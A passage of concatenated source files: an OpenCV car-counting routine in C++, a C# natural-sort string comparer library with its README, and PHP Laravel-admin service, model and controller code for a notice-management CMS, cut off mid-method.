CarNum = 0; Mat MoveDetect(Mat frame1, Mat frame2){ Mat result = frame2.clone(); Mat gray1, gray2; cvtColor(frame1, gray1, CV_BGR2GRAY); cvtColor(frame2, gray2, CV_BGR2GRAY); Mat diff; absdiff(gray1, gray2, diff); //imshow("absdiss", diff); //threshold(diff, diff, 45, 255, CV_THRESH_BINARY); //็ฎ€ๅ•ไบŒๅ€ผๅŒ– adaptiveThreshold(diff, diff, 255, ADAPTIVE_THRESH_GAUSSIAN_C, THRESH_BINARY_INV, 15, 3); imshow("threshold", diff); Mat element = getStructuringElement(MORPH_RECT, Size(3, 3)); Mat element2 = getStructuringElement(MORPH_RECT, Size(31, 31)); //่ฟ›่กŒๅฝขๆ€ๅญฆๆ“ไฝœ morphologyEx(diff, diff, MORPH_OPEN, element); medianBlur(diff, diff, 9); dilate(diff, diff, element2); imshow("dilate", diff); vector<vector<Point>> contours; vector<Vec4i> hierarcy; findContours(diff, contours, hierarcy, CV_RETR_EXTERNAL, CHAIN_APPROX_NONE); //ๆŸฅๆ‰พ่ฝฎๅป“ vector<vector<Point>> contours_poly(contours.size()); vector<Rect> boundRect(contours.size()); //ๅฎšไน‰ๅค–ๆŽฅ็Ÿฉๅฝข้›†ๅˆ //drawContours(img2, contours, -1, Scalar(0, 0, 255), 1, 8); //็ป˜ๅˆถ่ฝฎๅป“ int x0=0, y0=0, w0=0, h0=0; char Num[10]; for(int i=0; i<contours.size(); i++){ approxPolyDP(Mat(contours[i]), contours_poly[i], 3, true); //ๅคš่พนๅฝข้€ผ่ฟ‘ boundRect[i] = boundingRect((Mat)contours_poly[i]); //ๆŸฅๆ‰พๆฏไธช่ฝฎๅป“็š„ๅค–ๆŽฅ็Ÿฉๅฝข if(boundRect[i].width > 55 && boundRect[i].width <180 && boundRect[i].height > 55 && boundRect[i].height < 180){ x0 = boundRect[i].x; //่Žทๅพ—็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข็š„ๅทฆไธŠ่ง’็š„xๅๆ ‡ y0 = boundRect[i].y; //่Žทๅพ—็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข็š„ๅทฆไธŠ่ง’็š„yๅๆ ‡ w0 = boundRect[i].width; //่Žทๅพ—็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข็š„ๅฎฝๅบฆ h0 = boundRect[i].height; //่Žทๅพ—็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข็š„้ซ˜ๅบฆ rectangle(result, Point(x0, y0), Point(x0+w0, y0+h0), Scalar(0, 255, 0), 2, 8); //็ป˜ๅˆถ็ฌฌiไธชๅค–ๆŽฅ็Ÿฉๅฝข } if((y0 + h0/2 + 1) >= 138 && (y0 + h0/2 - 1) <= 142){ CarNum++; } line(result, Point(0,140), Point(568,140), Scalar(0,0,255), 1, 8); Point org(0,35); sprintf(Num, "CarNum=%d", CarNum); putText(result, Num, org, CV_FONT_HERSHEY_SIMPLEX, 0.8f, CV_RGB(0,255,0), 2); } return result; } void main(){ VideoCapture cap("car.avi"); if(!cap.isOpened()) //ๆฃ€ๆŸฅๆ‰“ๅผ€ๆ˜ฏๅฆๆˆๅŠŸ return; Mat frame; Mat result; Mat temp; int count=0; while(1){ cap>>frame; if(!frame.empty()){ count++; if(count==1) result = MoveDetect(frame, frame); else result = MoveDetect(temp, frame); imshow("video", frame); imshow("result", result); temp = frame.clone(); if(waitKey(5)==27) break; } else break; } cap.release(); waitKey(0); }```
yuzd/NaturalSort.Extension
yuzd/NaturalSort.Extension README.md ```![NaturalSort.Extension logo](https://raw.githubusercontent.com/tompazourek/NaturalSort.Extension/master/assets/logo_32.png) NaturalSort.Extension ===================== *Extension method for `StringComparer` that adds support for natural sorting (e.g. "abc1", "abc2", "abc10" instead of "abc1", "abc10", "abc2").* [![Build status](https://img.shields.io/appveyor/ci/tompazourek/naturalsort-extension.svg)](https://ci.appveyor.com/project/tompazourek/naturalsort-extension) [![Tests](https://img.shields.io/appveyor/tests/tompazourek/naturalsort-extension.svg)](https://ci.appveyor.com/project/tompazourek/naturalsort-extension/build/tests) [![NuGet downloads](https://img.shields.io/nuget/dt/NaturalSort.Extension.svg)](https://www.nuget.org/packages/NaturalSort.Extension/) The library is written in C# and released with an [MIT license](https://raw.githubusercontent.com/tompazourek/NaturalSort.Extension/master/LICENSE), so feel **free to fork** or **use commercially**. **Any feedback is appreciated, please visit the [issues](https://github.com/tompazourek/NaturalSort.Extension/issues?state=open) page or send me an [e-mail](mailto:tom.pazourek@gmail.com).** Download -------- Binaries of the last build can be downloaded on the [AppVeyor CI page of the project](https://ci.appveyor.com/project/tompazourek/naturalsort-extension/build/artifacts). The library is also [published on NuGet.org](https://www.nuget.org/packages/NaturalSort.Extension/) (prerelease), install using: ``` PM> Install-Package NaturalSort.Extension ``` <sup>NaturalSort.Extension is built for .NET v4.0, .NET v4.7, .NET Standard 1.3 and .NET Standard 2.0.</sup> Usage ----- Adds `.WithNaturalSort()` extension method to any `StringComparer` you wish to use. You can use the enhanced comparer in all the places where you can use `IComparer<string>`, e.g. `.OrderBy()` or `.Sort()`. Sample: ```csharp var sequence = new[] { "img12.png", "img10.png", "img2.png", "img1.png" }; var ordered = sequence.OrderBy(x => x, StringComparer.OrdinalIgnoreCase.WithNaturalSort()); // ordered will be "img1.png", "img2.png", "img10.png", "img12.png" ``` For more information about natural sort order, see: [Sorting for Humans: Natural Sort Order (Coding Horror)](https://blog.codinghorror.com/sorting-for-humans-natural-sort-order/).``` StringComparerNaturalSortExtension.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Text; namespace NaturalSort.Extension { /// <summary> /// Extension for <see cref="StringComparer" /> that adds support for natural sorting. /// </summary> public static class StringComparerNaturalSortExtension { /// <summary> /// Enhances string comparer with natural sorting functionality, /// which allows it to sort numbers inside the strings as numbers, not as letters. /// (e.g. "1", "2", "10" instead of "1", "10", "2") /// </summary> /// <param name="stringComparer">Used string comparer</param> /// <returns>Returns comparer of strings that considers natural sorting.</returns> public static IComparer<string> WithNaturalSort(this StringComparer stringComparer) => new NaturalSortComparer(stringComparer); private class NaturalSortComparer : IComparer<string> { /// <summary> /// String comparer used for comparing strings. /// </summary> private readonly StringComparer _stringComparer; public NaturalSortComparer(StringComparer stringComparer) => _stringComparer = stringComparer; public int Compare(string s1, string s2) { var tokens1 = Tokenize(s1).ToArray(); var tokens2 = Tokenize(s2).ToArray(); var zipCompare = tokens1.Zip(tokens2, TokenCompare).FirstOrDefault(x => x != 0); if (zipCompare != 0) return zipCompare; var lengthCompare = tokens1.Length.CompareTo(tokens2.Length); return lengthCompare; } /// <summary> /// Splits inputs into tokens. Each token is either a number, piece of string, or a dot. /// </summary> private static IEnumerable<Token> Tokenize(string s) { if (s == null) yield break; var currentTokenBuilder = new StringBuilder(s.Length); TokenKind? currentTokenKind = null; foreach (var c in s) { var characterTokenKind = GetCharacterTokenKind(c); if (currentTokenKind == characterTokenKind) { currentTokenBuilder.Append(c); continue; } if (currentTokenBuilder.Length > 0 && currentTokenKind != null) yield return new Token(currentTokenBuilder.ToString(), currentTokenKind.Value); currentTokenBuilder.Clear().Append(c); currentTokenKind = characterTokenKind; } if (currentTokenBuilder.Length > 0 && currentTokenKind != null) yield return new Token(currentTokenBuilder.ToString(), currentTokenKind.Value); } private static TokenKind GetCharacterTokenKind(char c) { if (char.IsLetter(c)) return TokenKind.Letters; if (char.IsDigit(c)) return TokenKind.Digits; return TokenKind.Other; } /// <summary> /// Parses string as a number, or returns 0 otherwise. /// </summary> private static ulong ParseNumber(string s) => ulong.TryParse(s, NumberStyles.None, CultureInfo.InvariantCulture, out var result) ? result : 0; /// <summary> /// Compares two tokens. /// </summary> private int TokenCompare(Token token1, Token token2) { // compare if the token kinds are different var tokenKindCompare = token1.Kind.CompareTo(token2.Kind); if (tokenKindCompare != 0) return tokenKindCompare; if (token1.Kind == TokenKind.Digits) { // compare if both tokens are digits var number1 = ParseNumber(token1.Value); var number2 = ParseNumber(token2.Value); var numberCompare = number1.CompareTo(number2); if (numberCompare != 0) return numberCompare; } // compare as strings if both tokens are letters or other, or are the same number var stringCompare = _stringComparer.Compare(token1.Value, token2.Value); return stringCompare; } private enum TokenKind { Other = 0, Digits = 1, Letters = 2, } private struct Token { public Token(string value, TokenKind kind) { Value = value; Kind = kind; } public string Value { get; } public TokenKind Kind { get; } } } } }```
yuzheng1/findcms
yuzheng1/findcms MultithreadingRequest.php ```<?php namespace App\Console\Commands; use GuzzleHttp\Client; use Illuminate\Console\Command; use App\Models\Area; class MultithreadingRequest extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'test:multithreading-request'; /** * The console command description. * * @var string */ protected $description = 'Command description'; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); } /** * Execute the console command. * * @return mixed */ public function handle() { // $this->info("hello"); // $arguments = $this->arguments(); //่Žทๅ–ๆ‰€ๆœ‰ๅ‚ๆ•ฐ็š„ๅ€ผ // $options = $this->options(); //่Žทๅ–ๆ‰€ๆœ‰้€‰้กน็š„ๅ€ผ // $userId = $this->argument('user'); //่Žทๅ–ๆŒ‡ๅฎšๅ‚ๆ•ฐ็š„ๅ€ผ // $queueName = $this->option('queue'); //่Žทๅ–ๆŒ‡ๅฎš้€‰้กน็š„ๅ€ผ // $name = $this->ask("What your name"); //่พ“ๅ…ฅ+ๆ็คบ // $password = $this->secret("What your password"); //ไธๅฏ่ง็š„่พ“ๅ…ฅ+ๆ็คบ // if($this->confirm("please confirm password[y|N]")){ //็กฎ่ฎคไฟกๆฏ // $this->info("Login successfull"); // } else { // $this->info("Login faile"); // } // ่‡ชๅŠจๅฎŒๆˆ // anticipate ๆ–นๆณ•ๅฏ็”จไบŽไธบๅฏ่ƒฝ็š„้€‰้กนๆไพ›่‡ชๅŠจๅฎŒๆˆๅŠŸ่ƒฝ๏ผŒ็”จๆˆทไป็„ถๅฏไปฅ้€‰ๆ‹ฉ็ญ”ๆกˆ๏ผŒ่€Œไธ็ฎก่ฟ™ไบ›้€‰ๆ‹ฉ๏ผš // $name = $this->anticipate('What is your name?', ['Taylor', 'Dayle']); // ็ป™็”จๆˆทๆไพ›้€‰ๆ‹ฉ // ๅฆ‚ๆžœไฝ ้œ€่ฆ็ป™็”จๆˆท้ข„ๅฎšไน‰็š„้€‰ๆ‹ฉ๏ผŒๅฏไปฅไฝฟ็”จ choice ๆ–นๆณ•ใ€‚็”จๆˆท้€‰ๆ‹ฉ็ญ”ๆกˆ็š„็ดขๅผ•๏ผŒไฝ†ๆ˜ฏ่ฟ”ๅ›ž็ป™ไฝ ็š„ๆ˜ฏ็ญ”ๆกˆ็š„ๅ€ผใ€‚ๅฆ‚ๆžœ็”จๆˆทไป€ไนˆ้ƒฝๆฒก้€‰็š„่ฏไฝ ๅฏไปฅ่ฎพ็ฝฎ้ป˜่ฎค่ฟ”ๅ›ž็š„ๅ€ผ๏ผš // $name = $this->choice('What is your name?', ['Taylor', 'Dayle'], 0); /**็ผ–ๅ†™่พ“ๅ‡บ**/ // $this->info($name); // $this->line($name); // $this->comment($name); // $this->question($name); // $this->error($name); /**็ผ–ๅ†™่พ“ๅ‡บ**/ // ่กจๆ ผๅธƒๅฑ€ // table ๆ–นๆณ•ไฝฟ่พ“ๅ‡บๅคš่กŒ/ๅˆ—ๆ ผๅผ็š„ๆ•ฐๆฎๅ˜ๅพ—็ฎ€ๅ•๏ผŒๅช้œ€่ฆๅฐ†ๅคดๅ’Œ่กŒไผ ้€’็ป™่ฏฅๆ–นๆณ•๏ผŒๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆๅฐ†ๅŸบไบŽ็ป™ๅฎšๆ•ฐๆฎ่‡ชๅŠจ่ฎก็ฎ—๏ผš // $headers = ["ID", "NAME"]; // $model = new Area; // $area = $model->newQuery()->limit(3)->get(['id', 'name'])->toArray(); // $this->table($headers, $area); // ่ฟ›ๅบฆๆก // $area = Area::all(); // $bar = $this->output->createProgressBar(count($area)); // $bar->start(); // foreach($area as $val){ // usleep(200); // $bar->advance(); // } // $bar->finish(); // $this->info('task finished!'); } } ``` MessageService.php ```<?php namespace App\Http\Service; use Encore\Admin\Form; use Encore\Admin\Grid; use Encore\Admin\Show; use Illuminate\Validation\Rule; /** * ๆถˆๆฏ็ฎก็†ๆœๅŠกๅฑ‚ * @author zx * @date 2018-12-29 * @package App\Http\Service */ class MessageService extends CommonService { /** * ๆถˆๆฏ็Šถๆ€ * @var array */ const STATUS_ARR = ["ๅทฒๅ‘้€","ๅทฒๆŸฅ็œ‹"]; /** * ่กจๅ•้กต้ขๆŽงๅˆถ * @param Form $form * @author zx * @date 2018-12-29 * @return Form */ public function form(Form $form) { $form->display("users.id","่ขซๅ‘้€ไบบID"); $form->display("users.nickname", "่ขซๅ‘้€ไบบๆ˜ต็งฐ"); $form->text('title', 'ๆ ‡้ข˜')->rules( $this->title_rules(), $this->title_rules_message() ); $form->textarea('content', 'ๅ†…ๅฎน')->rules( $this->content_rules(), $this->content_rules_message() ); $form->switch('status', 'Status')->states($this->status_arr())->default("off")->rules( $this->status_rules(), $this->status_rules_message() ); $form->switch('is_delete', 'Is delete')->states(parent::IS_DELETE_RULES_ARR)->rules( parent::is_delete_rules(), parent::IS_DELETE_MESSAGE ); return $form; } /** * ๅˆ—่กจ้กต้ขๆŽงๅˆถ * @param Grid $grid * @author zx * @date 2018-12-29 * @return Grid */ public function grid(Grid $grid) { $grid->id('ID'); $grid->column('users.nickname', "่ขซๅ‘้€ไบบๆ˜ต็งฐ"); $grid->column('users.id', "่ขซๅ‘้€ไบบID"); $grid->column('title', "ๆ ‡้ข˜"); $grid->status('Status')->display(function($status){ return self::STATUS_ARR[$status]; }); $grid->is_delete('Is delete')->display(function($is_delete){ return MessageService::IS_DELETE_ARR[$is_delete]; }); $grid->created_at('Created at'); return $grid; } /** * ่ฏฆๆƒ…้กต้ขๆŽงๅˆถ * @param Show $show * @author zx * @date 2018-12-29 * @return Show */ public function detail(Show $show) { $show->id('Id'); $show->users('่ขซๅ‘้€ไบบไฟกๆฏ',function($users){ $users->id("ID"); $users->nickname("ๆ˜ต็งฐ"); return $users; }); $show->title('ๆ ‡้ข˜'); $show->content('ๅ†…ๅฎน'); $show->created_at('Created at'); return $show; } private function title_rules() { return "required"; } private function title_rules_message() { return [ "required" => "่ฏท่พ“ๅ…ฅๆ ‡้ข˜" ]; } private function content_rules() { return "required"; } private function content_rules_message() { return [ "required" => "่ฏท่พ“ๅ…ฅๆ ‡้ข˜" ]; } private function status_arr() { return [ 'on' => ['value' => 1, 'text' => 'ๅทฒๆŸฅ็œ‹', 'color'=>'danger'], 'off' => ['value' => 0, 'text' => 'ๅทฒๅ‘้€', 'color' => 'success'] ]; } private function status_rules() { return [ "required", Rule::in(['on','off']) ]; } private function status_rules_message() { return [ "required" => "่ฏท้€‰ๆ‹ฉๅ‘้€็Šถๆ€", "in" => "ๅ‘้€็Šถๆ€่Œƒๅ›ด้”™่ฏฏ" ]; } }``` QualificationTrait.php ```<?php namespace App\Models\Traits; use App\Models\Users; /** * ่ฎค่ฏTrait็ฑป * @author zx * @date 2018-12-23 * @package App\Models\Trait */ Trait QualificationTrait{ public function users() { return $this->belongsTo(Users::class, "user_id"); } }``` CommonService.php ```<?php namespace App\Http\Service; use Illuminate\Validation\Rule; /** * ๅ…ฌๅ…ฑ้€ป่พ‘ๆœๅŠกๅฑ‚ * @author zx * @date 2018-12-29 * @package App\Http\Service */ class CommonService{ /** * ๅˆ ้™คๅผ€ๅ…ณ้…็ฝฎ * @var zx */ const IS_DELETE_RULES_ARR = [ 'on' => ['value' => 1, 'text' => 'ๅทฒๅˆ ้™ค', 'color'=>'danger'], 'off' => ['value' => 0, 'text' => 'ๆœชๅˆ ้™ค', 'color' => 'success'] ]; /** * ๅˆ ้™คๅŒบๅˆ† * @var array */ const IS_DELETE_ARR = ["ๆœชๅˆ ้™ค", "ๅทฒๅˆ ้™ค"]; /** * ่กจๅ•้ชŒ่ฏๆ็คบไฟกๆฏ * @var array */ const IS_DELETE_MESSAGE = [ "required" => "่ฏท้€‰ๆ‹ฉๅˆ ้™ค็Šถๆ€", "in" => "ๅˆ ้™ค็Šถๆ€่Œƒๅ›ด้”™่ฏฏ" ]; /** * ่กจๅ•้ชŒ่ฏ * @author zx * @date 2018-12-29 * @return array */ public static function is_delete_rules():array { return [ "required", Rule::in(['on','off']) ]; } }``` UploadsController.php ```<?php namespace App\Admin\Controllers\Api; use App\Http\Controllers\Controller; use Illuminate\Http\Request; class UploadsController extends Controller{ public function index(Request $request) { file_put_contents(__DIR__."/../../../log.txt", json_encode($request)); } }``` UserService.php ```<?php namespace App\Http\Service; use Encore\Admin\Form; use Encore\Admin\Grid; use Encore\Admin\Show; use Illuminate\Validation\Rule; /** * ็”จๆˆท็ฎก็†ๆœๅŠกๅฑ‚ * @author zx * @date 2018-12-29 * @package App\Http\Service */ class UserService extends CommonService { /** * ๆ€งๅˆซๅŒบๅˆ† * @var array */ const SEX_ARR = ['็”ท', 'ๅฅณ']; /** * ็”จๆˆท็ฑปๅž‹ * @var array */ const MEMBER_TYPE_ARR = ['ๅฏปๆ‰พ่€…', 'ๆฑ‚ๅŠฉ่€…']; /** * ่กจๅ•้กต้ขๆŽงๅˆถ * @param Form $form * @author zx * @date 2018-12-29 * @return Form */ public function form(Form $form) { $id = request()->route()->parameters()['user']; //่Žทๅ–ๅฝ“ๅ‰่ทฏ็”ฑๅ‚ๆ•ฐ $form->display('id','ID'); $form->text('nickname','ๆ˜ต็งฐ')->rules( $this->nickname_rules(), $this->nickname_rules_message() ); $form->number('mobile','ๆ‰‹ๆœบๅท')->rules( $this->mobile_rules($id), $this->mobile_rules_message() ); $form->password("password", "ๅฏ†็ ")->rules( $this->password_rules($id), $this->password_rules_message($id) ); $form->text('realname','ๅง“ๅ')->rules( $this->realname_rules(), $this->realname_rules_message() ); $form->text('id_card', '่บซไปฝ่ฏๅท็ ')->rules( $this->id_card_rules(), $this->id_card_rules_message() ); $form->select('sex','ๆ€งๅˆซ')->options(self::SEX_ARR)->rules( $this->sex_rules(), $this->sex_rules_message() ); $form->text('email','้‚ฎ็ฎฑ')->rules( $this->email_rules($id), $this->email_rules_message() ); $form->select('member_type', '็ฑปๅž‹')->options(self::MEMBER_TYPE_ARR)->rules( $this->member_type_rules(), $this->member_type_rules_message() ); $form->switch("is_delete", "็Šถๆ€")->states(parent::IS_DELETE_RULES_ARR)->rules([ parent::is_delete_rules(), parent::IS_DELETE_MESSAGE ]); $form->saving(function(Form $form){ if($form->password && $form->model()->password != bcrypt($form->password)){ $form->password = bcrypt($form->password); } else if (!$form->password){ $form->password = $form->model()->password; } }); return $form; } /** * ๅˆ—่กจ้กต้ขๆŽงๅˆถ * @param Grid $grid * @author zx * @date 2018-12-29 * @return Grid */ public function grid(Grid $grid) { $grid->id('ID'); $grid->nickname('ๆ˜ต็งฐ'); $grid->mobile('ๆ‰‹ๆœบๅท'); $grid->realname('ๅง“ๅ'); $grid->id_card('่บซไปฝ่ฏๅท็ '); $grid->sex('ๆ€งๅˆซ')->display(function ($sex){ return self::SEX_ARR[$sex] ; }); $grid->email("้‚ฎ็ฎฑ"); $grid->member_type("็ฑปๅž‹")->display( function ($member_type) { return self::MEMBER_TYPE_ARR[$member_type] ; }); $grid->created_at('Created at'); $grid->updated_at('Updated at'); return $grid; } /** * ่ฏฆๆƒ…้กต้ขๆŽงๅˆถ * @param Show $show * @author zx * @date 2018-12-29 * @return Show */ public function detail(Show $show) { $show->id('ID'); $show->nickname('ๆ˜ต็งฐ'); $show->mobile('ๆ‰‹ๆœบๅท'); $show->realname('ๅง“ๅ'); $show->id_card('่บซไปฝ่ฏๅท็ '); $show->sex('ๆ€งๅˆซ')->using(self::SEX_ARR); $show->email('้‚ฎ็ฎฑ'); $show->member_type('็ฑปๅž‹')->using(self::MEMBER_TYPE_ARR); $show->created_at('Created at'); $show->updated_at('Updated at'); return $show; } private function nickname_rules() { return "required|min:2|max:10"; } private function nickname_rules_message() { return [ 'required' => 'ๆ˜ต็งฐๅฟ…้กป', 'min' => 'ๆ˜ต็งฐไธๅพ—ๅฐไบŽไธคไธชๅญ—็ฌฆ', 'max' => 'ๆ˜ต็งฐไธๅพ—ๅคงไบŽๅไธชๅญ—็ฌฆ' ]; } private function mobile_rules($id='') { return [ "regex:/^1[3456789]\d{9}$/", "required_without_all:email", Rule::unique("users", 'mobile')->ignore($id) ]; } private function mobile_rules_message() { return [ 'required_without_all' => 'ๆ‰‹ๆœบๅทๆˆ–้‚ฎ็ฎฑๅฟ…้กป', 'regex' => 'ๆ‰‹ๆœบๅท็ ไธๅˆๆณ•', "unique" => "ๆ‰‹ๆœบๅท็ ๅทฒๅญ˜ๅœจ" ]; } private function password_rules($id='') { if($id){ return "nullable|between:6,18|alpha_dash"; } return "required|between:6,18|alpha_dash"; } private function password_rules_message($id='') { $rulesArr = [ "between" => "ๅฏ†็ ไธๅฐ‘ไบŽ6ไธชๅญ—็ฌฆไธ”ไธ่ถ…่ฟ‡18ไฝๅญ—็ฌฆ", "alpha_dash" => "ๅฏ†็ ๅช่ƒฝๆœ‰ๆ•ฐๅญ—ๅญ—ๆฏไธ‹ๅˆ’็บฟ" ]; if($id) return $rulesArr; $rulesArr['required'] = "่ฏท่พ“ๅ…ฅๅฏ†็ "; return $rulesArr; } private function realname_rules() { return "min:2"; } private function realname_rules_message() { return [ "min" => "ๅง“ๅไธๅพ—ๅฐ‘ไบŽไธคไธชๅญ—็ฌฆ", ]; } private function id_card_rules() { return [ "regex:/^([\d]{17}[xX\d]|[\d]{15})$/", ]; } private function id_card_rules_message() { return [ "regex" => '่บซไปฝ่ฏๅท็ ๆ ผๅผ้”™่ฏฏ' ]; } private function sex_rules() { return [ Rule::in([0,1]) ]; } private function sex_rules_message() { return [ "in" => 'ๆ€งๅˆซ่Œƒๅ›ด้”™่ฏฏ' ]; } private function email_rules($id='') { return [ "email", "required_without_all:mobile", Rule::unique("users",'email')->ignore($id) ]; } private function email_rules_message() { return [ "email" => '้‚ฎ็ฎฑๆ ผๅผ้”™่ฏฏ', "required_without_all" => 'ๆ‰‹ๆœบๅท็ ๆˆ–้‚ฎ็ฎฑๅฟ…้กป', "unique" => '้‚ฎ็ฎฑๅทฒๅญ˜ๅœจ' ]; } private function member_type_rules() { return [ "required", Rule::in([0,1]) ]; } private function member_type_rules_message() { return [ "required" => "็”จๆˆท็ฑปๅž‹ๅฟ…้กป", "in" => "็”จๆˆท็ฑปๅž‹่Œƒๅ›ด้”™่ฏฏ" ]; } }``` MessageTrait.php ```<?php namespace App\Models\Traits; use App\Models\Users; /** * ๆจกๅž‹้œ€ๆฑ‚Trait็ฑป * @author zx * @date 2018-12-23 * @package App\Models\Trait */ Trait MessageTrait{ public function users() { return $this->belongsTo(Users::class, "release_user"); } }``` FindNotice.php ```<?php namespace App\Models; use App\Models\Traits\FindNoticeTrait; class FindNotice extends Models{ use FindNoticeTrait; /** * ๅ…ณ่”ๅˆฐๆจกๅž‹็š„ๆ•ฐๆฎ่กจ * ้ป˜่ฎค่ง„ๅˆ™ๆ˜ฏๆจกๅž‹็ฑปๅ็š„ๅคๆ•ฐไฝœไธบไธŽๅ…ถๅฏนๅบ”็š„่กจๅ * @var string * @author ๆœฑๆ—ญ */ protected $table = 'find_notice'; /** * ่ฎพ็ฝฎไธป้”ฎ * @author ๆœฑๆ—ญ * @var string */ public $primaryKey = 'id'; }``` UsersTrait.php ```<?php namespace App\Models\Traits; use App\Models\Qualification; use App\Models\FindNotice; use App\Models\Message; /** * ๆจกๅž‹Trait็ฑป * @author zx * @date 2018-12-23 * @package App\Models\Trait */ Trait UsersTrait{ public function qualification() { return $this->hasOne(Qualification::class, "user_id"); } public function findnotice() { return $this->hasOne(FindNotice::class, "release_user"); } public function message() { return $this->hasMany(Message::class, "uid"); } }``` FindNoticeController.php ```<?php namespace App\Admin\Controllers; use App\Http\Service\FindNoticeService; use App\Models\FindNotice; use App\Http\Controllers\Controller; use Encore\Admin\Controllers\HasResourceActions; use Encore\Admin\Form; use Encore\Admin\Grid; use Encore\Admin\Layout\Content; use Encore\Admin\Show; class FindNoticeController extends Controller { use HasResourceActions; /** * Index interface. * * @param Content $content * @return Content */ public function index(Content $content) { return $content ->header('ๅˆ—่กจ') ->description('้€š็Ÿฅๅˆ—่กจ') ->body($this->grid()); } /** * Show interface. * * @param mixed $id * @param Content $content * @return Content */ public function show($id, Content $content) { return $content ->header('่ฏฆๆƒ…') ->description('้€š็Ÿฅ่ฏฆๆƒ…') ->body($this->detail($id)); } /** * Edit interface. * * @param mixed $id * @param Content $content * @return Content */ public function edit($id, Content $content) { return $content ->header('็ผ–่พ‘') ->description('้€š็Ÿฅ็ผ–่พ‘') ->body($this->form()->edit($id)); } /** * Create interface. * * @param Content $content * @return Content */ public function create(Content $content) { return $content ->header('ๆทปๅŠ ') ->description('้€š็ŸฅๆทปๅŠ ') ->body($this->form()); } /** * Make a grid builder. * * @return Grid */ protected function grid() { $grid = new Grid(new FindNotice); $service = new FindNoticeService(); return $service->grid($grid); } /** * Make a show builder. * * @param mixed $id * @return Show */ protected function detail($id) { $service = new FindNoticeService(); return $service->detail($id); } /** * Make a form builder. * * @return Form */ protected function form() { $service = new FindNoticeService(); return $service->form(); } } ``` FindNoticeService.php ```<?php namespace App\Http\Service; use Encore\Admin\Form; use Encore\Admin\Grid; use Encore\Admin\Show; use Encore\Admin\Facades\Admin; use Encore\Admin\Form\NestedForm; use Illuminate\Validation\Rule; use App\Models\FindNotice; use App\Models\Area; class FindNoticeService extends CommonService { /** * ๅฐ้ข็ฑปๅž‹ * @var array */ const COVER_ARR = [ 'on' => ['value' => 1, 'text' => 'ๅฐ้ข', 'color'=>'danger'], 'off' => ['value' => 0, 'text' => '้žๅฐ้ข', 'color' => 'success'] ]; /** * ๆ€งๅˆซๅŒบๅˆ† * @var array */ const SEX_ARR = ["็”ท", 'ๅฅณ']; /** * ๅฎกๆ ธ็Šถๆ€ * @var array */ const STATUS_ARR = ["ๅฎกๆ ธไธญ", "ๅฎกๆ ธ้€š่ฟ‡", "ๅฎกๆ ธไธ้€š่ฟ‡"]; /** * ่กจๅ•้กต้ขๆŽงๅˆถ * @author zx * @date 2018-12-29 * @return Form */ public function form() { $grid = Admin::form(FindNotice::class, function(Form $form){ $model = new Area(); $form->display("users.id", "ๅ‘ๅธƒไบบID"); $form->display("users.nickname", "ๅ‘ๅธƒไบบๆ˜ต็งฐ"); $form->hasMany("findimages", function (NestedForm $nestedForm){ $nestedForm->image("url",'ๅนป็ฏ็‰‡')->uniqueName(); $nestedForm->switch("cover", "ๆ˜ฏๅฆไธบๅฐ้ข")->options(self::COVER_ARR)->rules( $this->findimages_cover_rules(), $this->findimages_cover_rules_message() ); $nestedForm->number("index", "ๆŽ’ๅบ")->default(1)->rules( $this->findimages_index_rules(), $this->findimages_index_rules_message() ); return $nestedForm; }); $form->select('province', '็œไปฝ')->options($model->getProvinceList())->load("city", "/admin/api/area")->rules( $this->province_rules(), $this->province_rules_message() ); $form->select('city', 'ๅŸŽๅธ‚')->options(function($id)use($model){ return $model->getSameLevelCityList($id); })->rules( $this->city_rules(), $this->city_rules_message() ); $form->text('title', 'ๆ ‡้ข˜')->rules( $this->title_rules(), $this->title_rules_message() ); $form->text('name', 'ๅง“ๅ')->rules( $this->name_rules(), $this->name_rules_message() ); $form->select('sex', 'ๆ€งๅˆซ')->options(self::SEX_ARR)->rules( $this->sex_rules(), $this->sex_rules_message() ); $form->number('age', 'ๅนด้พ„')->rules( $this->age_rules(), $this->age_rules_message() ); $form->editor('desc', '่ฏฆๆƒ…')->rules( $this->desc_rules(), $this->desc_rules_message() ); $form->text('contact_name', '่”็ณปไบบๅง“ๅ')->rules( $this->contact_name_rules(), $this->contact_name_rules_message() ); $form->text('contact_mobile', '่”็ณปไบบๆ‰‹ๆœบๅท็ ')->rules( $this->contact_mobile_rules(), $this->contact_mobile_rules_message() ); $form->radio('status', 'Status')->options(self::STATUS_ARR)->rules( $this->status_rules(), $this->status_rules_message() ); $form->switch('is_delete', 'Is delete')->states(parent::IS_DELETE_RULES_ARR)->rules( parent::is_delete_rules(), parent::IS_DELETE_MESSAGE ); }); return $grid; } /** * ๅˆ—่กจ้กต้ขๆŽงๅˆถ * @param Grid $grid * @author zx * @date 2018-12-29 * @return Grid */ public function grid(Grid $grid) { $grid->id('ID'); $grid->column('users.nickname', 'ๅ‘ๅธƒ่€…ๆ˜ต็งฐ'); $grid->province('็œไปฝ'); $grid->city('ๅŸŽๅธ‚'); $grid->column('title','ๆ ‡้ข˜'); //titleๆ–นๆณ•ๅ†ฒ็ช $grid->name('ๅง“ๅ'); $grid->sex('ๆ€งๅˆซ')->display(function($sex){ return self::SEX_ARR[$sex]; }); $grid->age('ๅนด้พ„')->display(function ($age){ return $age."ๅฒ"; }); $grid->contact_name('่”็ณปไบบๅง“ๅ'); $grid->contact_mobile('่”็ณปไบบ็”ต่ฏ'); $grid->created_at('Created at'); $grid->updated_at('Updated at'); return $grid; } /** * ่ฏฆๆƒ…้กต้ขๆŽงๅˆถ * @param Show $show * @author zx * @date 2018-12-29 * @return Show */ public function detail($id) { $shows = Admin::show(FindNotice::findOrFail($id), function(Show $show){ $model = new Area(); $show->id('ID'); $show->users('ๅ‘ๅธƒไบบไฟกๆฏ',function($user){ $user->id("ID"); $user->nickname("ๆ˜ต็งฐ"); return $user; }); $show->province('็œไปฝ')->as(function($province)use($model){ return $model->getAddressData($province)->name; }); $show->city('ๅŸŽๅธ‚')->as(function($city)use($model){ return $model->getAddressData($city)->name; }); $show->title('ๆ ‡้ข˜'); 